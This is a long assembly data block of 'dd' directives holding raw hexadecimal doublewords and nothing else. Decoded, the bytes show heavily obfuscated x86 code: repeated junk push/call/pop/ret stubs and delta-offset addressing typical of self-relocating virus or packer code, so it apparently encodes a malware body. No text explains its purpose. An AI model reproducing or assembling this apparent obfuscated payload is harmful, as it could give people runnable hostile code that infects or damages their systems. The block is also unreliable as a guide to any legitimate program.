		dd 39F45FC3h, 6A446Ch, 0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 19h, 21C35545h, 0E2B44B2Fh, 0DE937h, 0C0F40000h
		dd 8BE200A0h, 0FFFD5D81h, 668C2367h, 8DDAC0BFh,	12137185h
		dd 56006A06h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1A04h
		dd 0C3564600h, 0F0232BF7h, 89AC7E0Ah, 121F69B5h, 0BE89006h
		dd 7F000000h, 0AD2C18A9h, 0CEF6DDF9h, 56517801h, 505F5F5Eh
		dd 0FBB70F90h, 29D995FFh, 6A0612h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 180424h, 53430000h, 9195E6C3h, 0DF81E59Dh
		dd 7D9466C3h, 13718D8Dh, 6A0612h, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 150424h, 51410000h, 0E8BAE6C3h, 6, 0BCE930EBh
		dd 0C75FEF95h, 1, 79BD8B00h, 0F061217h,	68Ah, 29952900h
		dd 0C7061203h, 441h, 0B600000h,	1222B9BDh, 8B606106h, 120DA585h
		dd 6180B106h, 840FC00Bh, 47h, 9FE8B66h,	1234C995h, 0B58D8D06h
		dd 6A06124Dh, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 19042444h, 47000000h, 6F54C357h, 0C9250B5Dh,	8E9h, 33346B00h
		dd 0D95CD2CDh, 5B87Ah, 5F520000h, 8DF5E1FFh, 1213718Dh
		dd 51006A06h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1504h
		dd 0C3514100h, 0BD8B6223h, 6122CB1h, 0CE9h, 0A860A900h
		dd 4E382E5h, 0BE97E67Eh, 7C01C70Eh, 6A44AA72h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 16042444h, 40000000h
		dd 6C72C350h, 0EDBD8B37h, 8106122Ch, 99CFCB01h,	0FE914h
		dd 6A070000h, 6956A086h, 0B8F1E98h, 943E6A6Fh, 441C763h
		dd 0CE78753Ch, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
		dd 18h,	9FC35545h, 0D31900BDh, 9E9h, 0F5E5300h,	38EDBD1Ah
		dd 41816B3Ch, 0D6D71004h, 55006A31h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1804h,	0C3554500h, 0B3FE3D8Fh
		dd 8CBF664Dh, 0D18589F6h, 8B061203h, 121D91B5h,	9006A06h
		dd 1221A1BDh, 71858D06h, 0E9061213h, 8,	0D1F5F31Fh, 287F6F06h
		dd 0F525050h, 28B0F31h,	60000000h, 89585A61h, 6A2404h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 160424h, 55450000h
		dd 0F59F1EC3h, 2C69B58Bh, 95FF0612h, 61229D9h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 15h, 6CC35545h, 0CE9CAh
		dd 8410000h, 30F36C4Eh,	36656761h, 8D8DF068h, 6121371h
		dd 4B46E681h, 1C73032h,	0
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Dh, 0CAC35040h
		dd 0BD687961h, 808C50A3h, 0DB58961h, 0BF06121Dh, 53C1BA58h
		dd 441C7h, 8B000000h, 122C39B5h, 79BD8B06h, 0B061204h
		dd 5C840FC0h, 89000000h, 122C4195h, 0B58D8D06h,	6A06124Dh
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 17042444h
		dd 47000000h, 7228C357h, 5B8C5CEh, 0FF000000h, 56006AE1h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1C04h, 0C3564600h
		dd 5BFE15DCh, 85A06BEFh, 4D8D8995h, 8D061212h, 1213718Dh
		dd 55006A06h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1D04h
		dd 0C3554500h, 2B665812h, 32094700h, 1C76EDEh, 54CA95A5h
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 14h, 9FC35242h
		dd 3A9BD0Bh, 1810612h, 1499CFCBh, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 1Dh, 0AAC35343h,	0D51C96D4h, 0B5E3A968h
		dd 441C759h, 0CE5F5969h, 0E852006Ah, 3,	5AC35A20h, 4245489h
		dd 4244481h, 1Ch, 0D3C35242h, 6A8EB9B7h, 7C90FBD7h, 5CCE81FCh
		dd 810EDAD1h, 0D7100441h, 6A31D6h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 190424h, 56460000h, 399209C3h, 6AC80AE2h
		dd 56006A00h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1604h
		dd 0C3564600h, 8D87BEEEh, 12137185h, 53006A06h,	3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1D04h,	0C3534300h, 54BFDC46h
		dd 29AE22DBh, 0B5038D68h, 6122A51h, 0BE950h, 255A0000h
		dd 4B190822h, 1CC24FEEh, 24048941h, 860Fh, 95FF0000h, 61229D9h
		dd 61605060h, 0F1858B5Eh, 6106120Dh, 13718D8Dh,	6A0612h
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 140424h, 57470000h
		dd 1C7BFC3h, 0
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 19h, 1FC35545h
		dd 262CFB53h, 0D68166A8h, 41C72424h, 4,	51006A00h, 3E8h
		dd 0C3592000h, 244C8959h, 24448104h, 1A04h, 0C3514100h
		dd 0DCFAF2FFh, 0B18C913h, 7A840FC0h, 0B000000h,	120489B5h
		dd 0B58D8D06h, 6A06124Dh, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 15042444h, 46000000h, 0AD34C356h,	0DFB70F60h
		dd 280AC381h, 0FC6164B5h, 5B8h,	61BD8900h, 0FF061204h
		dd 55006AE1h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1C04h
		dd 0C3554500h, 4A396AD0h, 96FB8D95h, 0B58B6009h, 61222D5h
		dd 2F599D01h, 81610612h, 0C5E181EEh, 0E9CA032Dh, 0FFFFF11Dh
		dd 8E9h, 9C1E2700h, 8A10620Ch, 6AC18BADh, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 1C042444h, 40000000h, 0A063C350h
		dd 8D71404Dh, 0EB0CDD1Fh, 4, 55006A00h,	3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1504h,	0C3554500h, 0B58B7BA6h
		dd 61206F1h, 2E01858Dh,	0BF0F0612h, 48950FAh, 55006A24h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1404h, 0C3554500h
		dd 0C5B58BBAh, 8B061208h, 121CC9BDh, 6A006A06h,	3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 19042444h, 46000000h
		dd 0E09C356h, 818A0CC4h, 22CDBD8Bh, 6A0612h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Dh, 0F9C35343h, 0DACFF8C3h
		dd 9B3493C3h, 0C5B58B7Ah, 8D061204h, 15F8B385h,	50006A06h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1D04h, 0C3504000h
		dd 7540B26h, 0E78877C4h, 0C083D943h, 0A5BF9005h, 507D9041h
		dd 57006A90h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1A04h
		dd 0C3574700h, 0BCA117Ah, 6A7D0958h, 52006A00h,	3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1C04h,	0C3524200h, 235BF286h
		dd 8D1635E0h, 6A006AFEh, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 1C042444h, 42000000h, 150EC352h, 4D246358h
		dd 668560FCh, 8E12DE81h, 0DB595FFh, 6A0612h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 1A0424h, 52420000h, 0B0CC67C3h
		dd 207BCDB2h, 451B523h,	9D8D0612h, 615AF02h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 14h, 0A3C35747h, 14800Fh
		dd 0EE80000h, 79000000h, 0AB2A2BE0h, 0DCE77BFAh, 0DCF2C10Eh
		dd 0F08B5EABh, 8166D3FFh, 0FF0BDEE6h, 12067985h, 752E906h
		dd 0E80000h, 5D000000h,	0F8BDED81h, 0B560615h, 122A4DB5h
		dd 0BD815E06h, 6121449h, 7D0h, 101860Fh, 0F6810000h, 4CBDD43Bh
		dd 1CB19D8Bh, 6A0612h, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 180424h, 52420000h, 2E8053C3h, 0E381F3A8h, 100h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 19h, 50C35242h, 0FF7E2FAEh
		dd 67BE663Eh, 65BD2368h, 0B061229h, 45850FDBh, 66000000h
		dd 5BF8E681h, 0F6DFBD83h, 0F000615h, 1884h, 8E900h, 0B2470000h
		dd 777E778Ah, 4FE9C792h, 8B000000h, 121ED5BDh, 0DF85C706h
		dd 10615F6h, 89000000h,	120DF18Dh, 34E906h, 0BD890000h
		dd 61212E1h, 0F6DF85C7h, 615h, 6A0000h,	3E857h,	5F200000h
		dd 7C895FC3h, 44810424h, 1C0424h, 57470000h, 0B513A8C3h
		dd 7713A289h, 9D8D5D11h, 6121CB1h, 0FEFF2381h, 0BE8FFFFh
		dd 0F7000000h, 0AF0232Bh, 62AAC7Eh, 85098532h, 6120451h
		dd 0DDBD895Fh, 66061212h, 0B533DB8Ch, 61216A5h,	0F04C3F6h
		dd 4184h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1804h, 0C3554500h, 0A464B4F5h, 0D9B5892Fh, 8906121Dh
		dd 1209B59Dh, 3595FF06h, 33061201h, 1230D1BDh, 4FBF5006h
		dd 89768DD3h, 0B9E92404h, 66000003h, 0B00E53BEh, 56006A00h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1904h, 0C3564600h
		dd 0D9DD1AAFh, 70E68A19h, 4999589h, 71E40612h, 6AD8B60Fh
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 1B042444h
		dd 43000000h, 0E90FC353h, 0F91047A1h, 6BA369Ah,	6A000000h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 17042444h
		dd 45000000h, 0FCA3C355h, 0B529AE7Eh, 61206D1h,	6AC38Bh
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 180424h, 56460000h
		dd 0A4D91EC3h, 0BF660542h, 0E8C11674h, 333BBF04h, 0F7663469h
		dd 0A98D89E2h, 2B061234h, 57006AD8h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1D04h,	0C3574700h, 0E02D2768h
		dd 0D61BEE5Fh, 0CE93751h, 7A000000h, 53DC3AA0h,	8EE32C66h
		dd 9338FDECh, 0F525050h, 0AE831h, 53300000h, 1712647Ah
		dd 792A61FDh, 93585A5Fh, 0E855006Ah, 3,	5DC35D20h, 4246C89h
		dd 4244481h, 16h, 95C35545h, 81662D87h,	0FF9F9DEEh, 121449B5h
		dd 38E0F06h, 66000000h,	95FFF98Bh, 61219CDh, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 16h, 0E4C35040h, 8B66F858h
		dd 0BDB58BF0h, 0B0061226h, 6800F00h, 89000000h,	12000D85h
		dd 37BF6606h, 8170E695h, 735F2AC7h, 6671E44Bh, 0C1B7F681h
		dd 830F613Ch, 228h, 2AC5BD09h, 0B60F0612h, 6BAD8h, 6A0000h
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 160424h, 57470000h
		dd 228A2FC3h, 0F8B70F52h, 8850F5Fh, 56000000h, 21AD9589h
		dd 8B5F0612h, 99529C3h,	0C106122Ch, 6A04E8h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 140424h, 55450000h, 0BF0F76C3h
		dd 0E2F766FEh, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		dd 17h,	0D0C35242h, 94C7FB3h, 120991BDh, 6AD82B06h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 14042444h, 40000000h
		dd 1E5C350h, 122F89B5h,	0BF665806h, 0D82B20AEh,	166880Fh
		dd 11E90000h, 97000000h, 0DAF60124h, 2DAA3454h,	15F935E5h
		dd 6D30AFE9h, 7B9h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh
		dd 24448104h, 1D04h, 0C3534300h, 0F72625A6h, 0BF25E91Bh
		dd 0C18390E7h, 81BD8B00h, 3B061205h, 15860FD9h,	6A000001h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 1A042444h
		dd 45000000h, 0B454C355h, 0AECC6565h, 0F2B70F33h, 6AD98C66h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 1A042444h
		dd 41000000h, 5C6EC351h, 23857E15h, 7E8506Ah, 0EC000000h
		dd 91DE411h, 5E5F0608h,	0F04C1F6h, 0B184h, 56006A00h, 3E8h
		dd 0C35E2000h, 2474895Eh, 24448104h, 1D04h, 0C3564600h
		dd 7119BEA8h, 8E8C9684h, 0FE80867h, 0CC000000h,	96AE1985h
		dd 13181606h, 74959BE5h, 0B503892Ch, 6121AC5h, 3595FF5Fh
		dd 8B061201h, 122AC5BDh, 0C32B5B06h, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 1Ch, 9CC35040h, 1EAC7286h, 172320BBh
		dd 1A31BD89h, 343D0612h, 0F000008h, 2D86h, 598D0900h, 0E9061216h
		dd 24h,	0E850006Ah, 3
		dd 58C35820h, 4244489h,	4244481h, 17h, 8DC35040h, 0FD42D73h
		dd 0C08BF0B7h, 0D88BC38Bh, 0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 14h, 0A7C35242h, 51D85C7h,	0CB370612h, 0BD891014h
		dd 61200ADh, 49D88060h,	6AC08B61h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 19042444h, 41000000h, 3AFCC351h
		dd 0CCA95BF0h, 1449BD81h, 7D00612h, 850F0000h, 45h, 0CE9h
		dd 6ADC2300h, 89988A8Dh, 9058CC8Fh, 4985FFF3h, 6A061214h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 16042444h
		dd 42000000h, 0B89C352h, 0A8C0F91h, 60000000h, 0D991CB81h
		dd 0F98B38FBh, 49B5FF61h, 89061214h, 12146595h,	0CD95FF06h
		dd 6A061219h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 15042444h, 41000000h, 9A99C351h, 1BA5BD8Bh, 8B660612h
		dd 6A90F8h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 150424h
		dd 56460000h, 89A35DC3h, 12025DB5h, 0F8BF0F06h,	6AFB8B66h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 18042444h
		dd 40000000h, 0E897C350h, 6676CA2Ah, 6697A3BFh,	669255BEh
		dd 0E946EF81h, 0E2DB58Bh, 0F78B0612h, 21A19D89h, 6A0612h
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1C0424h, 57470000h
		dd 1C4CE5C3h, 0EA1FE4ABh, 8D89185Dh, 6120521h, 14E960h
		dd 873E0000h, 807C064Ch, 1B53BFF1h, 0B6D34D05h,	6F976D0Dh
		dd 0B58BF446h, 6121A29h, 0BD8BFC61h, 612064Dh, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 19h, 1CC35141h, 0C702EF3Ch
		dd 319589E9h, 2906122Eh, 122C5585h, 0F1B58B06h,	5206122Fh
		dd 5EF6BF0Fh, 0E855006Ah, 3, 5DC35D20h,	4246C89h, 4244481h
		dd 15h,	0ADC35545h, 0F8D4E984h,	14E8FFFFh, 6C000000h, 0C53EFD42h
		dd 13710ECCh, 93A62B0Ch, 67D609h, 8B2BE5A3h, 12102DBDh
		dd 0C5BD8B06h, 5E061217h, 8166C18Bh, 0EB235DD7h, 4, 53006A00h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1704h, 0C3534300h
		dd 631A1D67h, 0CEBE6656h, 858D5FB1h, 6122E01h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 14h, 64C35747h, 2FFD9D89h
		dd 60500612h, 800Fh, 45BF0000h,	61105B89h, 52240489h, 5EF6B70Fh
		dd 0AE9006Ah, 6F000000h, 8D4D4734h, 3C677223h, 2B006A88h
		dd 1206D5BDh, 77858D06h, 6A061601h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 1B042444h, 40000000h, 92A9C350h
		dd 645C8F99h, 0C0839FCCh, 299D0905h, 50061223h,	0EE8h
		dd 7BD7EA00h, 0E93644E2h, 1DC4A54Ah, 5F683D29h,	0E9240489h
		dd 0Bh,	0F2256A44h, 6F05EDB8h, 6A490484h, 56006A00h, 3E8h
		dd 0C35E2000h, 2474895Eh, 24448104h, 1704h, 0C3564600h
		dd 0A58143CFh, 6A006Ah,	3E851h,	59200000h, 4C8959C3h, 44810424h
		dd 140424h, 51410000h, 95FFBFC3h, 6120DB5h, 8C58D31h, 9D8D0612h
		dd 615AF02h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 18h,	0F1C35747h, 0B48D448Fh,	0D3FF5E56h, 30C1BD8Bh
		dd 85FF0612h, 6120679h,	3850Fh,	0B70F0000h, 993E9FEh, 0E80000h
		dd 5D000000h, 181ED81h,	6A0616h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 170424h, 56460000h, 0D83A94C3h, 49BD81B1h
		dd 0D0061214h, 0F000007h, 12086h, 0CFF68100h, 8B276D88h
		dd 1203ED9Dh, 12DF8106h, 81025EC8h, 100E3h, 50006A00h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1404h, 0C3504000h
		dd 5DBD8BA8h, 8B061222h, 12025DBDh, 0FDB0B06h, 0A185h
		dd 56006A00h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1804h
		dd 0C3564600h, 97E1DECFh, 0EE816613h, 0BD83678Eh, 6160013h
		dd 17840F00h, 0E9000000h, 7, 308A1550h,	0E919D1BEh, 68h
		dd 241BD8Bh, 85C70612h,	6160013h, 1, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 19h, 71C35646h, 0E1E74670h, 0A195893Eh
		dd 0E9061217h, 2Ch, 0E853006Ah,	3, 5BC35B20h, 4245C89h
		dd 4244481h, 14h, 91C35343h, 30EDB58Bh,	85C70612h, 6160013h
		dd 0
		dd 3ED9D8Dh, 81660612h,	66A627E6h, 81C634BFh, 0FFFEFF23h
		dd 13E9FFh, 88540000h, 83E6A2BAh, 3E3B3BA6h, 97867B7Bh
		dd 396EAB5Eh, 0DB8C6616h, 0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 16h, 38C35747h, 8D89E08Dh,	6123089h, 0F04C3F6h
		dd 8784h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1D04h, 0C3524200h, 0BEB36144h, 0E09FA3F2h, 95FF4BD1h
		dd 6120135h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		dd 1Bh,	0C1C35242h, 2F7387CBh, 8B4B582Dh, 12012DB5h, 8B665006h
		dd 240489F7h, 0E850006Ah, 3, 58C35820h,	4244489h, 4244481h
		dd 18h,	0D7C35040h, 770C7F73h, 1FE9B589h, 9D890612h, 61219C9h
		dd 521E9h, 50006A00h, 3E8h, 0C3582000h,	24448958h, 24448104h
		dd 1904h, 0C3504000h, 0E4E3A2B9h, 0B09C97h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Ch, 92C35343h, 312A6908h
		dd 0F5AD306Fh, 0B189BF66h, 6A70E6h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 140424h, 56460000h, 953168C3h
		dd 6121CC9h, 8F0F71E4h,	15h, 10E9h, 421C5500h, 6F8A5A4Dh
		dd 0D701E33h, 2627DB77h, 0D8B60FE1h, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 14h, 36C35545h, 6BAh, 52006A00h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1A04h, 0C3524200h
		dd 0C1F14A7Dh, 8BBEF7F3h, 121AE5BDh, 0F5C38B06h, 105B58Bh
		dd 0E8C10612h, 57006A04h, 3E8h,	0C35F2000h, 247C895Fh
		dd 24448104h, 1404h, 0C3574700h, 0E2F76635h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Ch, 85C35545h, 0F27C38ADh
		dd 0D5B22849h, 0D82BF18Bh, 0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 18h, 0FBC35747h, 494FBBDBh, 1A55BD8Bh, 0E9600612h
		dd 0Ah,	979ED2C7h, 0A58DC7A6h, 0CE80A4CDh, 0E850618Bh
		dd 13h,	5EACB2E9h, 12140152h, 28957727h, 86A82B8Eh, 5FD001F6h
		dd 0FF241C89h, 121449B5h, 858B6006h, 6122D71h, 230D8589h
		dd 0F610612h, 8Dh, 0CD95FF00h, 6A061219h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 18042444h, 42000000h, 49E7C352h
		dd 0F85CD10Bh, 1E75BD33h, 0B00612h, 0E850006Ah,	3, 58C35820h
		dd 4244489h, 4244481h, 14h, 19C35040h, 6A70E6h,	3E852h
		dd 5A200000h, 54895AC3h, 44810424h, 1C0424h, 52420000h
		dd 0B0024EC3h, 0DE908DE8h, 7E9387Ch, 41000000h,	7A6574Dh
		dd 9D0990F6h, 6122D85h,	8E971E4h, 33000000h, 76680CE2h
		dd 3C599DDDh, 0EB830F61h, 8B000002h, 12005DBDh,	0D8B60F06h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Dh, 42C35747h
		dd 4120E95Ch, 0CD99C0C3h, 6BAD0h, 6A0000h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 1C0424h, 53430000h, 0F5AC3FC3h
		dd 313A1FF4h, 0BD8B511Fh, 6121EE9h, 0B533C38Bh,	612000Dh
		dd 6A04E8C1h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 16042444h, 45000000h, 0BE3EC355h, 71BD8B57h,	23061205h
		dd 1211DDB5h, 0E2F76606h, 0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 17h, 1FC35545h, 2B77E5B7h,	57006AD8h, 3E8h
		dd 0C35F2000h, 247C895Fh, 24448104h, 1804h, 0C3574700h
		dd 6FF1D0F5h, 55BD8B70h, 66061202h, 6C86C781h, 50006A58h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1904h, 0C3504000h
		dd 76AE3916h, 0BD8B32CBh, 6122F35h, 880FD82Bh, 1DAh, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 1Dh, 12C35646h, 176B94A6h
		dd 5610DEDCh, 58C0F99h,	66000000h, 5D9BD781h, 0C8DB58Bh
		dd 7B90612h, 6A000000h,	3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 14042444h, 47000000h, 0BDAC357h, 121B51B5h
		dd 21BD8B06h, 8306122Ah, 6A00C1h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 150424h, 56460000h, 8B494EC3h, 1234E9B5h
		dd 0FD93B06h, 14986h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1404h, 0C3564600h, 45BD8B22h, 66061220h
		dd 66FDB5BFh, 6AD98Ch, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 1D0424h, 55450000h, 0A4BAD2C3h, 925FF4B5h, 8913BC3Fh
		dd 121769BDh, 4C1F606h,	0AF840Fh, 8D890000h, 61204E5h
		dd 13595FFh, 6A0612h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 150424h, 57470000h, 0E97507C3h, 0Fh,	0B77DEF1Dh, 6A0AB4B3h
		dd 0CCEE76CBh, 0F09B0E9h, 1588h, 10E900h, 31AC0000h, 0C9DC1879h
		dd 0FE213033h, 957B00CFh, 6A5BB954h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 1A042444h, 40000000h, 0A3AC350h
		dd 0E823E30h, 6830F8Fh,	29000000h, 1209DD95h, 29C32B06h
		dd 1223458Dh, 8343D06h,	860F0000h, 15h,	0B307C3BFh, 48E903h
		dd 0AABE0000h, 8B2D7EE9h, 1209B5BDh, 6AC08B06h,	3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 17042444h, 47000000h
		dd 6DA7C357h, 7E91DF9h,	62000000h, 302B3626h, 0BE99BA9h
		dd 78000000h, 0A8E040D6h, 2856D165h, 0C38B7839h, 6AD88Bh
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1D0424h, 53430000h
		dd 0B32FD9C3h, 0E1663E2Ch, 0C776B48Fh, 121CB185h, 0CC3F7106h
		dd 9DBD295Eh, 89061203h, 1221E595h, 6AC08B06h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 14042444h, 46000000h
		dd 81AFC356h, 976838F7h, 49BD816Eh, 0D0061214h,	0F000007h
		dd 4685h, 69B58B00h, 0FF06120Eh, 12144985h, 52006A06h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1804h, 0C3524200h
		dd 69986AF9h, 14880F5Ah, 0E9000000h, 0Fh, 0C7228A2Fh, 0DF55E4C9h
		dd 3C0E311Bh, 0FF7C3B61h, 121449B5h, 53006A06h,	3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1A04h,	0C3534300h, 0E37C5733h
		dd 89E41F5Eh, 1219459Dh, 0CD95FF06h, 6A061219h,	3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 17042444h, 47000000h
		dd 0EA47C357h, 5EBF2D95h, 9012782Eh, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 1Ah, 0EBC35141h,	0FA77D699h, 0BF0FE36Fh
		dd 57006AF8h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1604h
		dd 0C3574700h, 899B2083h, 12101185h, 7E806h, 40C60000h
		dd 1D30FF70h, 0C595297Dh, 6606122Bh, 6A5FF18Bh,	3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 14042444h, 42000000h
		dd 8B8FC352h, 120669B5h, 0BD2B5606h, 61222D5h, 56006A5Fh
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1804h, 0C3564600h
		dd 0F7A54F47h, 0B0BF66D0h, 998D8928h, 0BE061201h, 156FA6FFh
		dd 0FF0BF0Fh, 8C0FFAB7h, 0Ch, 264DB503h, 0BD8B0612h, 6120591h
		dd 2E09B58Bh, 6A0612h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 140424h, 55450000h, 0F1BE7DC3h, 8935A996h
		dd 12269985h, 818D8906h, 0E9061205h, 0FFFFF6AEh, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Ch, 6FC35747h, 48DF0CC7h
		dd 88ED4D27h, 4F59D29h,	8B660612h, 61BD8BFAh, 0F06121Dh
		dd 883h, 2830F00h, 8B000000h, 0EBC18BF7h, 4, 50CE8100h
		dd 0E963F0D0h, 7, 0D3EE8780h, 813A14A9h, 9951EAD6h, 1858D55h
		dd 8B06122Eh, 122C61B5h, 0E59D3106h, 50061206h,	61F18B60h
		dd 6A240489h, 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1804h, 0C3504000h, 89802478h, 69B58B87h, 6A061207h
		dd 0CE816600h, 858D94A9h, 6160CC9h, 0E852006Ah,	3, 5AC35A20h
		dd 4245489h, 4244481h, 1Ah, 89C35242h, 75C08F4Dh, 0C0837BDFh
		dd 50006A05h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1904h
		dd 0C3504000h, 0BA3DB36Eh, 0E990F605h, 0Fh, 0FD8B5E77h
		dd 8749BB4Dh, 29A74D11h, 50B94307h, 8B665250h, 5A310FFBh
		dd 6A9058h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 150424h
		dd 57470000h, 8BDCE1C3h, 6D9D09F9h, 6A06121Dh, 6A006A00h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 17042444h
		dd 46000000h, 75F5C356h, 95FF68F2h, 6120DB5h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Ah, 12C35343h, 0B8E2E731h
		dd 9D8DECFDh, 615AF02h,	0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 1Bh, 0B4C35040h, 0F2C0167Eh, 0FF9208C5h, 51006AD3h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1D04h, 0C3514100h
		dd 0CC24341Eh, 0E0C08DFh, 0FFF9F4B1h, 12067985h, 52006A06h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1604h, 0C3524200h
		dd 0E90D978Bh, 8AFh, 0E8h, 0ED815D00h, 6160CD3h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 18h, 0A6C35242h, 0DB6A3ADEh
		dd 4800Fh, 0BF660000h, 0BD8167D3h, 6121449h, 7D0h, 142860Fh
		dd 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 190424h
		dd 53430000h, 1541FAC3h, 50198781h, 0CCC9BE66h,	0D19D8B5Eh
		dd 81061218h, 100E3h, 800F6000h, 3, 0B0EEC080h,	0DB0B6119h
		dd 0A7850Fh, 10E90000h,	7E000000h, 351AD7C3h, 0D42E3438h
		dd 32BF8A0Ah, 832904E4h, 160B13BDh, 840F0006h, 4Ch, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 15h, 0B6C35040h, 73E92Fh
